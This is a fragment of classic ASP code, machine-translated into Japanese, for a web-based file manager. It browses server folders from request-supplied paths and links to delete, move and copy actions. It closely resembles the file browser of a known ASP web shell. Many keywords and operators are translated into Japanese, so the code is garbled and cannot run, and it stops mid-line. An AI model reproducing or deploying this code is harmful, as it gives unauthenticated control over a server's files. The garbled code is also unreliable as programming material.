ファイルの読み取りおよび編集管理

<％

urlpath = http：//&request.servervariables（server_name）

薄暗いcpath、lpath

fsobrowse = createObject（scripting.filesystemObject）を設定します

request（path）= thenの場合

lpath =/

それ以外

lpath = request（path）＆/

ifを終了します

request（attrib）= trueの場合

cpath = lpath

attrib = true

それ以外

cpath = server.mappath（lpath）

attrib =

ifを終了します

sub getFolder（）

Dim TheFolder、TheSubfolders

fsobrowse.folderexists（cpath）の場合

folder = fsobrowse.getFolder（cpath）を設定します

set thesubfolders = thefolder.subfolders

respons.write <a href = 'list.asp？path =＆request（oldpath）&& attrib =＆'> <font color = '＃ff8000'>■</font>↑<font color = 'ff2222'>回上级目录</font> </a> <br>

response.write <table border = '0' width = '100％' cellpadding = '0'>

Subfoldersの各xに対して

Response.Write <tr> <td width = '50％ '> <a href =' list.asp？path =＆lpath＆x.name && oldpath =＆request（path）&& attrib =＆attrib＆ '> <font colur ='＃ff8000 '>■</font>＆x.name＆</a> </td>

respons.write <td> <a href =＃onclick = javascript：window.open（'delete.asp@spath=＆server.urlencode（lpath）＆＆＆server.urlencode（x.name）＆ ＆aim = floders '、' hyne_love_achye '、' toolbar = no、scrollbars = yes、resizable = yes、width = 600、height = 400 '）;> <font color ='＃ff8000 '

Response.Write <TD> <a href =＃onclick = javascript：window.open（'move.asp@spath=＆server.urlencode（lpath）＆＆＆server.urlencode（x.name）＆ ＆aim = floders '、' hyne_love_achye '、' toolbar = no、scrollbars = yes、resizable = yes、width = 600、height = 400 '）;> <font color ='＃ff8000 '

respons.write <td> <a href =＃onclick = javascript：window.open（'copy.asp@spath=＆server.urlencode（lpath）＆＆＆server.urlencode（x.name）＆ ＆aim = floders '、' hyne_love_achye '、' toolbar = no、scrollbars = yes、resizable = yes、width = 600、height = 400 '）;> <font color ='＃ff8000 '

次

Response.Write </table>

ifを終了します

End Sub

sub getFile（）

ファイルを薄暗くします

fsobrowse.folderexists（cpath）の場合

folder = fsobrowse.getFolder（cpath）を設定します

files = thefolder.filesを設定します

response.write <table border = '0' width = '100％' cellpadding = '0'>

ファイルの各xに対して

request（attrib）= trueの場合

showtring = <strong>＆x.name＆</strong>

それ以外

showtring = <a href =＃onclick = javascript：window.open（ '＆urlpath＆lpath＆server.urlencode（x.name）＆'、 'hyne_love_achye'、 'toolbar = no、scrollbars = yes、resizable = yes、width = 600、height = 400'）;